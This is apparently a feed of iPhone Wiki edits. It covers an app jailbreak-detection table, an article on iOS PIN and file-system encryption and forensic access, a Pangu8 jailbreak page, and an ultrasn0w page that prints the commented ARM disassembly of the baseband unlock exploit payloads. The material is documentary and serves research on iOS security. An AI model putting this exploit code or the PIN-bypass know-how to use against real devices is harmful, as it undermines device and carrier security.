| [http://itunes.apple.com/us/app/directv-nomad/id448679509?mt=8 DirecTV Nomad]
| com.directv.mobile.iphone.nomad.production
| {{Yes}}
| 2.0.1
|
|-
| DKB-pushTAN
| ?
| {{No}}
| 1.0.3
|
|-
| [http://itunes.apple.com/za/app/dstv-mobile-decoder/id403946447?mt=8 DStv Mobile Decoder]
| com.multichoice.DStvMobileDVBH
| {{No|}} [https://github.com/n00neimp0rtant/xCon-Issues/issues/357 No]
| 1.01.07
|
|-
| [http://itunes.apple.com/us/app/entrust-identityguard-mobile/id384717687?mt=8 Entrust IdentityGuard Mobile]
| com.entrust.IdentityGuardSoftToken
| {{No|}} [https://github.com/n00neimp0rtant/xCon-Issues/issues/297 No]
| N/A
|
|-
| [http://itunes.apple.com/us/app/movies-by-flixster-rotten/id284235722?mt=8 Flixster/Movies/Ultraviolet]
| com.jeffreygrossman.moviesapp
| {{No|}} [https://github.com/n00neimp0rtant/xCon-Issues/issues/266 No]
| 5.22
|
|-
| [http://itunes.apple.com/us/app/golden-screen-cinemas/id413024972?mt=8 Golden Screen Cinemas]
| com.sinodynamic.gsc
| {{Yes}}
| 1.4
|
|-
| [http://itunes.apple.com/us/app/good-for-enterprise/id333202351?l=es&mt=8 Good For Enterprise]
| com.good.gmmiphone
| {{No|}} [https://github.com/n00neimp0rtant/xCon-Issues/issues/32 No]
| 1.9.10
| App works but admin console still reports jailbreak.
|-

| [http://itunes.apple.com/us/app/ibooks/id364709193?mt=8 iBooks]
| com.apple.iBooks
| {{No}}
| ?
| Patch available in Cydia.
|-
| [http://itunes.apple.com/us/app/kbseutabaengking/id373742138?mt=8 KB star]
| com.kbstar.kbbank
| {{No|}} [https://github.com/n00neimp0rtant/xCon-Issues/issues/81 No]
| 1.14.1
|
|-
| [http://itunes.apple.com/us/app/kb-starplus/id381065734?mt=8 KB starPlus]
| com.kbstar.starplus
| {{No|}} [https://github.com/n00neimp0rtant/xCon-Issues/issues/81 No]
| 1.2.0
|
|-
| [http://itunes.apple.com/gb/app/lovefilm-player-for-ipad/id454468674?mt=8 LOVEFiLM Player for iPad]
| com.lovefilm.watchnow.ipad
| {{No|}} [https://github.com/n00neimp0rtant/xCon-Issues/issues/270 No]
| 1.0
|
|-
| [http://itunes.apple.com/us/app/maxis-movies/id369867024?mt=8 Maxis Movies]
| com.maxis.moviebooking
| {{Yes}}
| 1.1.6
|
|-
| [http://itunes.apple.com/us/app/maxis-movies-for-ipad/id418096484?mt=8 Maxis Movies (iPad)]
| com.maxis.moviebookingipad
| {{Yes}}
| 1.1.2
|
|-
| [http://itunes.apple.com/us/app/mcafee-enterprise-mobility/id322111072?mt=8 McAfee EMM]
| com.trustdigital.iTDClient
| {{No|}} [https://github.com/n00neimp0rtant/xCon-Issues/issues/252 No]
| 4.7.1
|
|-
| [http://itunes.apple.com/us/app/mobileiron-myphone-work-client/id320659794?mt=8 MobileIron MyPhone@Work]
| com.mobileiron.phoneatwork
| {{No|}} [https://github.com/n00neimp0rtant/xCon-Issues/issues/319 No]
| 4.5.12
|
|-
| [https://itunes.apple.com/au/app/quickflix-watchnow/id517915248?mt=8 Quickflix]
| au.com.quickflix.streaming
| {{Yes}}
| ?
|
|-
| [http://itunes.apple.com/us/app/repudo/id416444260?mt=8 Repudo]
| com.repudo.iphone
| {{Partial|}} [https://github.com/n00neimp0rtant/xCon-Issues/issues/107 v39 b3]
| 3.2.2
|
|-
| [http://itunes.apple.com/us/app/redbox-instant-by-verizon/id561226994?mt=8 Redbox Instant by Verizon]
| com.ctlabs.redboxinstant
| {{No|}} [https://github.com/n00neimp0rtant/xCon-Issues/issues/356 No]
| 1.0.2
|
|
|-
| [http://itunes.apple.com/us/app/skype/id304878510?mt=8 Skype]
| com.skype.skype
| {{Yes}}
| 3.7
|
|-
| [http://itunes.apple.com/gb/app/sky-go/id446086440?mt=8 Sky Go]
| com.bskyb.skygo
| {{No|}} [https://github.com/n00neimp0rtant/xCon-Issues/issues/55 No]
| 2.2
| After updating the app it is now reporting "Streaming is unavailable on jailbroken devices"
|-
| [http://itunes.apple.com/us/app/square/id335393788?mt=8 Square]
| com.squareup.square
| {{Yes}}
| 2.2.5
|
|-
| [http://itunes.apple.com/ca/app/telus-optik-tv-hd/id467260646?mt=8 Telus Optik TV]
| com.telus.nscreen
| {{Yes}}
| 1.1.2
|
|-
| [https://itunes.apple.com/us/app/tivo/id401673976 TiVo]
| ?
| {{Partial|}} [https://github.com/n00neimp0rtant/xCon-Issues/issues/317 v39 b7]
|
|
|-
| [http://itunes.apple.com/us/app/tv-live-de-la-orange/id390896393?mt=8 TV live de la Orange]
| com.orange.TVOrange
| {{Yes}}
| 1.0
|
|-
| [http://itunes.apple.com/us/app/twc-tv/id420455839?mt=8 TWC TV]
| com.timewarnercable.simulcast
| {{Yes}}
| 2.6.1
|
|-
| [http://itunes.apple.com/us/app/verizon-media-manager/id460536890?mt=8 Verizon Media Manager]
| com.verizon.ams.flexview
| {{No|}} [https://github.com/n00neimp0rtant/xCon-Issues/issues/351 No]
| 2.0.29.26
|
|-
| [http://itunes.apple.com/no/app/voddler/id409806444?mt=8 Voddler]
| com.voddler.VoddlerHD
| {{Yes}}
| 1.2.1
|
|-
| [http://itunes.apple.com/us/app/whatsapp-messenger/id310633997?mt=9 WhatsApp]
| net.whatsapp.WhatsApp
| {{Yes}}
| 2.6.10
| [http://pic.twitter.com/xEaFciOP Support button blocked]
|}

== References ==
* [https://github.com/n00neimp0rtant/xCon-Issues Issue list]

[[Category:Cydia Packages]]

The iPhone Wiki:Community portal

2015-06-09T22:11:36Z

Http: comment about new page File System Crypto

File System Crypto

2015-06-09T22:04:18Z

Http: initial article, copied directly from Jonathan Zdziarski's blog (with permission), includes Andrey Belenko's corrections - feel free to rewrite, add graphics, etc.

Here’s iOS file system / PIN encryption as how [[User:NerveGas|Jonathan Zdziarski]] understands it.

Block 0 of the NAND is used as [[effaceable]] storage and a series of encryption “lockers” are stored on it. This is the portion that gets wiped when a device is erased, as this is the base of the key hierarchy. These lockers are encrypted with a hardware key that is derived from a unique hardware id fused into the secure space of the chip ([[secure enclave]], etc). Only the hardware AES routines have access to this key, and there is no known way to extract it without chip deconstruction.

One specific locker, called [[BAGI]], contains an encryption key that encrypts what’s called the system keybag. The keybag contains a number of encryption “class keys” that ultimately protect files in the file system; they’re locked and unlocked at different times, depending on user activity. This lets developers choose if files should get locked when the device is locked, or stay unlocked after they enter their PIN, and so on. Every file on the file system has its own random file key, and that key is encrypted with a class key from the keybag. The keybag keys are encrypted with a combination of the key in the BAGI locker and the user’s PIN.

There’s another locker in the NAND (what Apple calls the class 4 key, and what we call the [[Dkey]]). The Dkey is not encrypted with the user PIN, and in previous versions of iOS (<8), was used as the foundation for encryption of any files that were not specifically protected with “data protection”. Most of the file system at the time used the Dkey instead of a class key, by design. Because the PIN wasn’t involved in the crypto (like it is with the class keys in the keybag), anyone with root level access (such as Apple) could easily open that Dkey locker, and therefore decrypt the vast majority of the file system that used it for encryption. The only files that were protected with the PIN up until iOS 8 were those with data protection explicitly enabled, which did not include a majority of Apple’s files storing personal data. In iOS 8, Apple finally pulled the rest of the file system out of the Dkey locker and now virtually the entire file system is using class keys from the keybag that *are* protected with the user’s PIN. The hardware-accelerated AES crypto functions allow for very fast encryption and decryption of the entire hard disk making this technologically possible since the 3GS, however for no valid reason whatsoever (other than design decisions), Apple decided not to properly encrypt the file system until iOS 8.

In order to deduce the PIN in iOS 8 (and access the file system as of iOS 8), you need to iterate through all 10,000 possibilities. This takes about 20 minutes with root code execution on the device, and can be done in the kernel without triggering a wipe after too many failed attempts. Because newer devices’ boot loaders have been stripped down and several vulnerabilities have been addressed, getting root execution is no longer feasible (like it was on the iPhone 4 and lower) unless you are the rare owner of a low level 0day or if you have Apple’s signing keys (to sign your own ram disk). If you jailbreak your device, then you remove a number of security mechanisms that allow certain forensics tools to boot unsigned code to crack the PIN; the exploits typically used in jailbreaks require the user authenticate with their PIN first, which is why law enforcement can’t just jailbreak it for you. There have, however, been recent documents released in the Snowden corpus that suggest NSA was attempting to target developers using Xcode, and possibly Apple themselves. If NSA is in possession of Apple’s signing keys, they’d be able to sign and boot a RAM disk of their own (without a jailbreak), or use private 0days to obtain root execution privileges on the device.

This is one reason it is very important to use a complex passcode. 10,000 iterations only takes about 20 minutes, but a very long passcode could take years, decades, or longer to brute force. Thanks to the fingerprint reader in newer devices combined with Apple’s 24-hour timeout and other protections, users can really benefit by using a strong complex passphrase without the inconvenience of having to type it in very often. It also prevents video surveillance to attempt to steal your PIN, if you’re not typing it in most of the time.

In spite of all this great file system encryption goodness, PIN/Passcode protection is only designed to provide encryption for data ''at rest''. If NSA were targeting you and had a 0day to gain remote code execution on your device, then whatever lockers were unlocked at a given time could easily be exploited for data. A simple program could even be injected waiting for crypto to become unlocked, and then harvesting the data back to a C&C server when that happens… code execution is tricky, but given Apple’s patch history, a very real threat that PIN/passcodes won’t offer protection against. Such a remote exploit is rare, but definitely plausible, again, taking Apple’s patch history as proof that such vulnerabilities have been recently found.

NOTE: There are open source POCs to obtain remote code execution on iOS 7.

Additionally, certain parts of the file system encryption can be unlocked using the escrowbag (a kind of backup keybag) included with an iTunes pair record. If your device is seized at an airport along with your laptop, for example, the pair record on your desktop could be used to access data on your device. This is much more involved than it used to be, however, as iOS 7 and lower had a number of encryption backdoors that would allow someone to bypass the backup encryption on the device. Even though those “diagnostic services” ''cough'' have been closed, it’s still possible to decrypt and harvest most third party application data with that pair record, so long as the device has not been power cycled since the PIN/passcode was last typed in. This is why most agencies are now keeping devices powered on while it’s transported back to forensics. iOS 8 devices can be upgraded to beta versions, which re-enable these encryption backdoors, and so if the investigating agent obtains the user’s PIN or passcode, they could potentially dump all information from the device, even if backup encryption is enabled. Fortunately, upgrading to beta at least requires a reboot… users who are running Apple public betas should be aware that these encryption backdoors can be accessed WITHOUT a reboot, meaning a forensics investigator only need a pair record to access that data on your device. Fortunately, Apple has at least shut down wireless access to the most critical parts of that data. You can better protect these interfaces by pair-locking your devices, so that while unlocked it cannot create any new pairing relationships. I have instructions in my blog to do this.

Also of note, the fingerprint reader shuts down after 24 hours of inactivity, so compelling a user’s fingerprint will do no good unless the court system is streamlined to grant such warrants quickly. Even this, however, is easy to thwart if the user sets an obscure finger as the only authenticated finger; after a few failed attempts with an index finger or thumb, for example, the reader also shuts down.

So the current state of encryption is this: a four digit PIN is in no way NSA proof, and neither is your device. If you’re targeted by them, NSA likely has 0days they could use to remote backdoor your device, and if they don’t then I’d put my money on their capabilities to sign their own root code to run on the device to brute force a PIN. A passcode will protect your data at rest much better than a PIN, however nothing would protect you from remote code injected into your device without your knowledge. Due to the way Apple has designed their key hierarchy, offline attacks are infeasible, unless you’re a really bad person and the government were willing to invest big time and money into deconstructing the chip on your device to extract a hardware key. Whether or not that’s yet possible is presently unknown; rumors suggest “sometimes”.

If you are actually targeted by NSA, however, chances are your iPhone wouldn’t be the most vulnerable device and data could be leaked from your desktop and other devices. There’s also warrants to access your iCloud data, including iCloud backups, which contain an obscene amount of data that most people underestimate.

In terms of a non-NSA/CIA agency, things are very different. If they’ve seized your locked device and either do not have your desktop pairing records, or your phone was shut down, then unless you’ve jailbroken it, the capabilities of forensics tools available to these agencies are far more limited. A four digit PIN can still be deduced by dusting latents off of the screen, or by video surveillance, or with tools such as IP-BOX which shuts down the device in between attempts before it can flush the failed attempts to disk. (I am not convinced that Apple has completely fixed this vulnerability). Outside of that, there’s not much they can do to get into the device itself, especially if you’ve set a complex passcode. A complex passcode is far more secure, and no law enforcement agency I’m aware of has any tools capable of brute forcing this or even attacking it on a non-jailbroken phone.

None of this accounts for the [http://xkcd.com/538/ beat-him-with-a-wrench-until-he-talks approach], or court-compelled passwords. Just because your data is secure doesn’t mean they can’t make your life a living hell.

== References ==
* [http://pastebin.com/SqQst8CV Pastebin by zdziarski]
* [http://www.zdziarski.com/blog/?p=5106#more-5106 Notes on iOS 8 PIN / File System Crypto - Jonathan Zdziarski's blog]
* [[NAND]]
* [http://esec-lab.sogeti.com/ SOGETI ESEC-Labs] on the [http://esec-lab.sogeti.com/dotclear/public/publications/11-hitbamsterdam-iphonedataprotection.pdf encryption of iOS devices]

The iPhone Wiki:Community portal

2015-05-15T12:17:22Z

Http: /* SSL Problems */

The iPhone Wiki:Community portal

2015-05-14T20:27:46Z

Http: /* SSL Problems */

User talk:Saurik

2015-05-14T20:03:58Z

Http: Move Request

==Move Request==
Can we move this page ([[Saurik]]) to [[:User:Saurik]] like for everyone else? Not sure why this wasn't done before, because his account doesn't seem to be new. --[[User:Http|http]] ([[User talk:Http|talk]]) 20:03, 14 May 2015 (UTC)

IWatch

2015-05-14T19:48:35Z

Http: fix double redirect

#REDIRECT [[Apple Watch]]

File:Pangu8.png

2014-10-29T00:13:41Z

Http: Http uploaded a new version of "File:Pangu8-v1.0.1.png"

[[Pangu8]] v1.0.1 running on an English version of Windows with no device connected.

Pangu8

2014-10-28T00:43:58Z

Http: added some links

{{other|untethered jailbreak for iOS 8.0-8.1|untethered jailbreak for iOS 7.1.x|Pangu}}
{{Infobox software
| name = Pangu8
| title = Pangu8
| screenshot = [[File:Pangu8-v1.0.1.png|355px]]
| caption = Pangu8 v1.0.1 on Windows
| author = Pangu Team
| developer = Pangu Team
| released = {{Start date|2014|10|22|df=yes}}
| discontinued =
| latest release version = 1.0.1
| latest release date = {{Start date and age|2014|10|22|df=yes}}
| latest preview version =
| latest preview date =
| programming language = [[wikipedia:C (programming language)|C]]
| operating system = [[wikipedia:Microsoft Windows|Windows]]
| size =
| platform = [[wikipedia:Microsoft Windows|Windows]]
| language = [[wikipedia:Chinese language|Chinese]]
| status = Active
| genre = Jailbreaking
| license = [[wikipedia:Freeware|Freeware]]
| website = [http://pangu.io pangu.io] (Chinese)
}}

'''Pangu8''' is an [[untethered jailbreak]] for all devices on iOS 8.x, except the [[Apple TV]]. It was initially released on 22 October 2014 as a SSH version only, because [[Cydia|Cydia.app]] and [[Cydia Substrate]] hadn't been updated for iOS 8. [[Cydia|Cydia.app]] was updated later that day for iOS 8 support. [[Cydia Substrate]] has since been updated, but is still very buggy.

== Supported Devices ==
All devices capable of running [[iOS]] 8.x, except the [[Apple TV]] family, are supported.

== Download ==
{| class="wikitable"
! Version
! OS
! SHA-1 Hash
! Download
! Changes
|-
| 1.0.0
| [[wikipedia:Microsoft Windows|Windows]]
| <code>83e1452fc354eeb2356f0da1a88efd760d94abcb</code>
| style="text-decoration: line-through;" | [http://dl.pangu.25pp.com/jb/Pangu8_v1.0.0.exe 25PP]
| Initial release
|-
| 1.0.1
| [[wikipedia:Microsoft Windows|Windows]]
| <code>a18013b2a55656af4126e00e34bc22a4011b1bab</code>
| [http://dl.pangu.25pp.com/jb/Pangu8_v1.0.1.exe 25PP]
| Multiple bug fixes, including loss of Photos
|}

[[Category:Jailbreaks]]

Ultrasn0w

2014-07-09T11:45:43Z

Http: /* External links */ added xerub's code as ext link, probably should get merged into the page

{{lowercase}}
'''ultrasn0w''' (previously: yellowsn0w) is an [[N82ap|iPhone 3G]], [[N88ap|iPhone 3GS]] and [[N90ap|iPhone 4 (iPhone3,1)]] [[Unlock 2.0|unlock]] payload. yellowsn0w was released on [http://blog.iphone-dev.org/post/67797811 New Years Day 2009]. ultrasn0w was released on [http://blog.iphone-dev.org/post/128573459/ultras-now June 23rd 2009].

==Credit==
[[MuscleNerd]], and [[iPhone Dev Team]]

==Exploit==
Relies on an unsigned code injection vulnerability.

The actual unlock works by a daemon patching the baseband's RAM on-the-fly, overriding the carrier lock code. It is not permanent because of the signature checks - the bootloader has to pass the sigchecks and the baseband has to pass them too, so any change to the baseband/bootloader cannot be made.

==Injection Vectors==
* [[AT+stkprof Exploit]] - used by yellowsn0w to unlock [[X-Gold 608]] baseband [[02.28.00]].
* [[AT+XLOG Vulnerability]] - used by ultrasn0w to unlock [[X-Gold 608]] baseband [[04.26.08]].
* [[AT+XAPP Vulnerability]] - used by ultrasn0w 1.0-1 and 1.2 to unlock public releases of [[X-Gold 608]] basebands [[04.26.08]] through [[05.13.04]] and [[06.15.00]] (ultrasn0w 1.2 only), and [[XMM 6180]] baseband [[01.59.00]])

==Compatible Baseband's==
=== iPhone 3G/3GS ===
* 02.28.00 (Only with yellowsn0w)
* 04.26.08
* 05.11.07
* 05.12.01
* 05.13.04
* 06.15.00.
=== iPhone 4 ===
* 01.59.00 (if device is on iOS 5.x or lower)

==ultrasn0w payload with comments (by [[User:Oranav|Oranav]])==

===Code loader (incl. Stage2)===
<pre>
ROM:00000000 ; =============== S U B R O U T I N E =======================================
ROM:00000000
ROM:00000000
ROM:00000000 code_loader
ROM:00000000 dest_addr = R1
ROM:00000000 src_addr = R6
ROM:00000000 MOVLS dest_addr, 0x110
ROM:00000004 ADDS dest_addr, #6
ROM:00000006 LSLS dest_addr, dest_addr, #8 ; unused ram to place code = 0x11600
ROM:00000008 ADDS R2, dest_addr, #1 ; thumbing
ROM:0000000A
ROM:0000000A loop ; CODE XREF: code_loader+24�j
ROM:0000000A MOVLS R0, 0x22 ; '"'
ROM:0000000E LDRB R3, [src_addr] ; first nibble
ROM:00000010 CMP R0, R3
ROM:00000012 LDRB R0, [src_addr,#1] ; second nibble
ROM:00000014 BEQ run ; branch if end of string
ROM:00000016 SUBS R3, #0x41 ; subtract 'A'
ROM:00000018 SUBS R0, #0x41 ; subtract 'A'
ROM:0000001A LSLS R3, R3, #4 ; make room for next nibble
ROM:0000001C ADDS R3, R3, R0 ; put them together as a byte
ROM:0000001E STRB R3, [dest_addr]
ROM:00000020 ADDS dest_addr, #1
ROM:00000022 ADDS src_addr, #2
ROM:00000024 B loop
ROM:00000026 ; ---------------------------------------------------------------------------
ROM:00000026
ROM:00000026 run ; CODE XREF: code_loader+14�j
ROM:00000026 BLX R2 ; handler_replace()
ROM:00000028 MOVLS R0, 0 ; safe exit
ROM:0000002C ADDS dest_addr, R0, #0
ROM:0000002E BLX R4
ROM:00000030 MOV SP, R5
ROM:00000032 POP {R0-src_addr,PC}
ROM:00000032 ; End of function code_loader
</pre>

===Handler replace===
<pre>
RAM:00011600 ; =============== S U B R O U T I N E =======================================
RAM:00011600
RAM:00011600
RAM:00011600 handler_replace
RAM:00011600 PUSH {LR}
RAM:00011602 LDR R0, =0x40492FC0 ; where to save task_loop_jmp + task_loop
RAM:00011604 ADR R1, task_loop_jmp
RAM:00011606 ADR R2, task_loop_end
RAM:00011608 SUBS R2, R2, R1 ; size of task_loop + task_loop_jmp = 0x70
RAM:0001160A LDR R3, =0x2040882C ; memcpy()
RAM:0001160C BLX R3
RAM:0001160E LDR R0, =0x40492C20 ; where to save task_creator_jmp + task_creator
RAM:00011610 ADR R1, task_creator_jmp
RAM:00011612 ADR R2, task_creator_end
RAM:00011614 SUBS R2, R2, R1 ; size of task_creator + task_creator_jmp = 0xA0
RAM:00011616 LDR R3, =0x2040882C ; memcpy()
RAM:00011618 BLX R3
RAM:0001161A LDR R0, =0x40492C20
RAM:0001161C BLX R0 ; task_creator_jmp()
RAM:0001161E POP {PC}
RAM:0001161E ; End of function handler_replace
</pre>

===Task creator (thanks Darkmen for the comments!)===
<pre>
RAM:40492C20 ; =============== S U B R O U T I N E =======================================
RAM:40492C20
RAM:40492C20
RAM:40492C20 task_creator_jmp
RAM:40492C20 STMFD SP!, {R1-R12,LR}
RAM:40492C24 BLX task_creator
RAM:40492C28 LDMFD SP!, {R1-R12,PC}
RAM:40492C28 ; End of function task_creator_jmp
RAM:40492C28
RAM:40492C2C
RAM:40492C2C ; =============== S U B R O U T I N E =======================================
RAM:40492C2C
RAM:40492C2C
RAM:40492C2C task_creator ; CODE XREF: task_creator_jmp+4�p
RAM:40492C2C PUSH {R4-R7,LR}
RAM:40492C2E LDR R3, =0x401ED3B8 ; jumptable var
RAM:40492C30 MOVLS R4, 0x800
RAM:40492C34 SUB SP, SP, #0x24
RAM:40492C36 STRH R0, [R3] ; task_creator_jmp addr
RAM:40492C38 LDR R5, =0x201493F0 ; malloc
RAM:40492C3A ADDS R0, R4, #0 ; 0x800
RAM:40492C3C ADDS R7, R1, #0 ; R7 = resp_string
RAM:40492C3E BLX R5 ; malloc(0x800)
RAM:40492C40 ADDS R6, R0, #0 ; R6 = addr returned from malloc
RAM:40492C42 MOVS R0, #0x98 ; sizeof(NU_TASK)
RAM:40492C44 BLX R5 ; malloc(sizeof(NU_TASK))
RAM:40492C46 MOVS R2, #0
RAM:40492C48 MOVS R3, #0x44
RAM:40492C4A LDR R1, =aDevteam1 ; char *name
RAM:40492C4C STR R2, [R0,#0xC] ; task.field=0
RAM:40492C4E STR R3, [SP,#0xC] ; priority = 0x44
RAM:40492C50 MOVS R3, #0xA
RAM:40492C52 STR R3, [SP,#0x14] ; preempt = NU_PREEMPT
RAM:40492C54 MOVS R3, #0xC
RAM:40492C56 STR R2, [SP] ; void *argv = 0
RAM:40492C58 STR R4, [SP,#8] ; stack_size = 0x800
RAM:40492C5A STR R2, [SP,#0x10] ; time_slice = 0
RAM:40492C5C STR R3, [SP,#0x18] ; auto_start = NU_START
RAM:40492C5E LDR R2, =0x40492FC0 ; task_loop_jmp address
RAM:40492C60 STR R6, [SP,#4] ; void *stack_address = malloc(0x800)
RAM:40492C62 MOVS R3, #0
RAM:40492C64 LDR R4, =0x2043E5B4 ; NU_Create_Task
RAM:40492C66 BLX R4 ; status = NU_Create_Task()
RAM:40492C68 ADDS R2, R0, #0 ; R2 = status (for the %d reference in sprintf)
RAM:40492C6A CMP R0, #0 ; success = zero
RAM:40492C6C BNE status_error
RAM:40492C6E LDR R1, =aOk ; "OK!"
RAM:40492C70 ADDS R0, R7, #0 ; resp_string
RAM:40492C72 LDR R3, =0x204B11F0 ; sprintf
RAM:40492C74 BLX R3 ; sprintf(resp_string, "OK!")
RAM:40492C76 B exit
RAM:40492C78 ; ---------------------------------------------------------------------------
RAM:40492C78
RAM:40492C78 status_error ; CODE XREF: task_creator+40�j
RAM:40492C78 LDR R1, =aErrorD ; "ERROR %d"
RAM:40492C7A ADDS R0, R7, #0 ; resp_string
RAM:40492C7C LDR R3, =0x204B11F0 ; sprintf
RAM:40492C7E BLX R3 ; sprintf(resp_string, "ERROR %d", status)
RAM:40492C80
RAM:40492C80 exit ; CODE XREF: task_creator+4A�j
RAM:40492C80 ADD SP, SP, #0x24 ; fixing stack
RAM:40492C82 POP {R4-R7,PC}
RAM:40492C82 ; End of function task_creator
</pre>

===Unlock task loop (thanks Darkmen for the comments!)===
<pre>
RAM:00011630 ; =============== S U B R O U T I N E =======================================
RAM:00011630
RAM:00011630
RAM:00011630 task_loop_jmp
RAM:00011630 STMFD SP!, {R1-R12,LR}
RAM:00011634 BLX task_loop
RAM:00011634 ; ---------------------------------------------------------------------------
RAM:00011638 LDMFD SP!, {R1-R12,PC}
RAM:00011638 ; End of function task_loop_jmp
RAM:00011638
RAM:0001163C
RAM:0001163C ; =============== S U B R O U T I N E =======================================
RAM:0001163C
RAM:0001163C
RAM:0001163C task_loop
RAM:0001163C PUSH {R4,R5,LR}
RAM:0001163E LDR R5, =0x401E829C ; sec mailbox
RAM:00011640 SUB SP, SP, #0x14
RAM:00011642
RAM:00011642 loop ; CODE XREF: task_loop+44�j
RAM:00011642 LDR R3, =0x2042FFD8 ; NU_Receive_From_Mailbox
RAM:00011644 ADDS R0, R5, #0 ; NU_MAILBOX *mailbox
RAM:00011646 MOV R1, SP ; void *Message
RAM:00011648 MOVS R2, #0xFF ; Timeout
RAM:0001164A BLX R3 ; NU_Receive_From_Mailbox(sec_mailbox,SP,0xFF)
RAM:0001164C LDR R3, [SP] ; Message[0]
RAM:0001164E CMP R3, #0xD ; Message[0] = 0xD ?
RAM:00011650 BNE skip
RAM:00011652 LDR R1, [SP,#4] ; Message[1]
RAM:00011654 LDR R3, =0x40301650
RAM:00011656 LDR R2, [R1] ; Message[1].field0
RAM:00011658 STR R2, [R3] ; sec_task_var1 = Message[1].field0
RAM:0001165A ADDS R3, #4 ; 0x40301654
RAM:0001165C LDR R2, [R1,#4] ; Message[1].field1
RAM:0001165E STR R2, [R3] ; sec_task_var2 = Message[1].field1
RAM:00011660 LDR R2, [R1,#8] ; Message[1].field2
RAM:00011662 LDR R3, =0x100FF00
RAM:00011664 STR R3, [R2] ; Message[1].field2[0] = 0x100FF00
RAM:00011666 LDR R3, =0x4020401
RAM:00011668 STR R3, [R2,#4] ; Message[1].field2[1] = 0x4020401
RAM:0001166A LDR R3, =0x4040403
RAM:0001166C STR R3, [R2,#8] ; Message[1].field2[2] = 0x4040403
RAM:0001166E MOVS R3, #1
RAM:00011670 STR R3, [R1,#0xC] ; Message[1].field3 = 1
RAM:00011672 MOVS R3, #0x20 ; ' '
RAM:00011674 STR R3, [SP] ; Message[0] = 0x20
RAM:00011676
RAM:00011676 skip ; CODE XREF: task_loop+14�j
RAM:00011676 ADDS R0, R5, #0 ; sec mailbox
RAM:00011678 MOV R1, SP ; void *Message
RAM:0001167A MOVS R2, #0xFF ; timeout
RAM:0001167C LDR R3, =0x20430040
RAM:0001167E BLX R3 ; NU_Send_To_Mailbox()
RAM:00011680 B loop
RAM:00011680 ; End of function task_loop
RAM:00011680
RAM:00011680 ; ---------------------------------------------------------------------------
</pre>

==Old yellowsn0w payload w/ comments (by Darkmen) ==

The exploit consists from 4 parts:

===Code loader===
<pre>
ROM:00000000 ; =============== S U B R O U T I N E =======================================
ROM:00000000
ROM:00000000
ROM:00000000 loader
ROM:00000000 LDR R2, =0x11700 ; unused ram to place code
ROM:00000002 ADDS R4, R2, #1 ; thumb switch
ROM:00000004 LDR R3, =0x40159FBF ; at-handler buffer where stage2 binary and following hexdata are
ROM:00000006
ROM:00000006 copy.loop ; CODE XREF: loader+12�j
ROM:00000006 LDRB R0, [R3] ; copying code+data until double quotes
ROM:00000008 CMP R0, #0x22 ; '"'
ROM:0000000A BEQ run ; jump thumb code
ROM:0000000C STRB R0, [R2]
ROM:0000000E ADDS R2, #1
ROM:00000010 ADDS R3, #1
ROM:00000012 B copy.loop ;
ROM:00000014 run ; CODE XREF: loader+A�j
ROM:00000014 BX R4 ; jump stage2 code
ROM:00000014 ; End of function loader
ROM:00000014
ROM:00000014 ; ---------------------------------------------------------------------------
</pre>

===Stage2(tm)===
<pre>
RAM:00000000 ; =============== S U B R O U T I N E =======================================
RAM:00000000 stage2
RAM:00000000 ADDS R2, #0x10 ; R2 = 0x11700 + stage2 size
RAM:00000002 MOVS R7, #0xF
RAM:00000004 BICS R2, R7 ; align offset by 0x10
RAM:00000006 ADDS R7, R2, #0 ; saving address to jump
RAM:00000008 ADR R4, 0x44 ; skipping Stage2 size and taking first char from at-string
RAM:0000000A ADR R5, char2byte ; loading routine addr
RAM:0000000C ADDS R5, #1 ; thumb
RAM:0000000E
RAM:0000000E loop ; CODE XREF: stage2+2C�j
RAM:0000000E LDRB R1, [R4] ; at-string[index]
RAM:00000010 CMP R1, #'x' ; end of line?
RAM:00000012 BEQ jump_code
RAM:00000014 BLX R5 ; char2byte first hakfbyte
RAM:00000016 LSLS R3, R1, #4 ; <<4 0X becoming X0
RAM:00000018 LDRB R1, [R4,#1] ; at-string[index+1]
RAM:0000001A BLX R5 ; char2hex second halfbyte
RAM:0000001C NOP
RAM:0000001E NOP
RAM:00000020 NOP
RAM:00000022 NOP
RAM:00000024 ADDS R1, R1, R3 ; R1 = complete byte
RAM:00000026 STRB R1, [R2] ; storing byte to dst
RAM:00000028 ADDS R4, #2 ; hexstr_index+=2
RAM:0000002A ADDS R2, #1 ; dst++
RAM:0000002C B loop ; at-string[index]
RAM:0000002E jump_code
RAM:0000002E NOP
RAM:00000030 NOP
RAM:00000032 ADDS R7, #1 ; thumbing
RAM:00000034 BX R7 ; run Task creator code
RAM:00000034 ; End of function stage2
RAM:00000038
RAM:00000038 ; =============== S U B R O U T I N E =======================================
RAM:00000038 char2byte ; DATA XREF: stage2+A�o
RAM:00000038 CMP R1, #0x41 ; 'A'
RAM:0000003A BGE letter ; letter to number
RAM:0000003C SUBS R1, #0x30 ; '0' ; digit to number
RAM:0000003E BX LR
RAM:00000040 letter ; CODE XREF: char2byte+2�j
RAM:00000040 SUBS R1, #0x37 ; '7' ; letter to number
RAM:00000042 BX LR ; ret
RAM:00000042 ; End of function char2byte
</pre>

===Task creator===
<pre>
RAM:000119A0 ; =============== S U B R O U T I N E =======================================
RAM:000119A0
RAM:000119A0
RAM:000119A0 handler_replace
RAM:000119A0 LDR R0, =0x4011714C ; soft reset handler addr
RAM:000119A2 ADR R1, new_handler
RAM:000119A4 ADDS R1, #1 ; thumbing
RAM:000119A6 STR R1, [R0] ; setting new handler
RAM:000119A8 POP {R0-R4,PC} ; safe exit fixing stack
RAM:000119A8 ; End of function handler_replace

RAM:000119B0 ; =============== S U B R O U T I N E =======================================
RAM:000119B0
RAM:000119B0
RAM:000119B0 new_handler ; DATA XREF: handler_replace+2�o
RAM:000119B0 PUSH {R4-R7,LR}
RAM:000119B2 LDR R3, =0x403BB344 ; jamptable var
RAM:000119B4 MOVS R6, #0x80
RAM:000119B6 SUB SP, SP, #0x2C
RAM:000119B8 LSLS R6, R6, #4 ; 0x200
RAM:000119BA STRH R0, [R3] ; saving R0 to mem var
RAM:000119BC STR R1, [SP,#0x40+resp_string] ; saving responce prt to stack
RAM:000119BE LDR R4, =0x201420AC ; malloc
RAM:000119C0 ADDS R0, R6, #0
RAM:000119C2 BLX R4 ; malloc(0x200)
RAM:000119C4 MOVS R5, #0
RAM:000119C6 STR R0, [SP,#0x40+ptr_200] ; saving pointer to stack
RAM:000119C8 MOVS R0, #0x98 ; sizeof(NU_TASK)
RAM:000119CA BLX R4 ; malloc(0x98)
